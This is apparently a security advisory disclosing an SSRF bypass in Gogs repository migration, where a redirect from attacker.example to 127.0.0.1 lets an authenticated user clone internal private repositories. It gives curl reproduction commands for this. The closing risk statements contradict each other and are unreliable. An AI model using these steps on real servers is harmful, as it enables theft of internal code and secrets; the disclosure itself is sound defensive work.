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GHSA-g2f5-gjr4-qjvm
No affected components available
Migration URL validation bypass via HTTP redirect to blocked internal endpoints
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but git clone --mirror follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., 127.0.0.1), importing the internal repository's contents into an attacker-controlled repository.
Vulnerability Details
The vulnerability is located in internal/form/repo.go. ParseRemoteAddr() validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by git clone --mirror in internal/database/repo.go, which follows HTTP redirects without revalidation:
- Attacker submits
http://attacker.example/redirect.git— passes validation (public hostname). - Attacker's server responds with
302redirect tohttp://127.0.0.1:18081/victim/private.git. - Git follows the redirect and clones the internal repository.
- Gogs imports the cloned contents into the attacker's new repository.
The root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target.
Impact
This vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to:
- Steal source code and secrets from internal repositories served over HTTP.
- Scan internal network services via the migration endpoint.
Reproduction Steps
Prerequisites: a Gogs instance, an attacker account that can create repositories.
- Start a local HTTP Git server with a test repository on
127.0.0.1:18081. - Start a redirect server that responds to any request with a
302redirect tohttp://127.0.0.1:18081/victim/private.git. - Verify the direct localhost URL is blocked:
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
-H "Content-Type: application/json" \
--data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \
"${GOGS_URL}/api/v1/repos/migrate"
Result: rejected as blocked local address.
- Submit a public-looking URL that redirects to the blocked endpoint:
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
-H "Content-Type: application/json" \
--data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \
"${GOGS_URL}/api/v1/repos/migrate"
Result: migration succeeds. The new repository contains the internal repository's contents.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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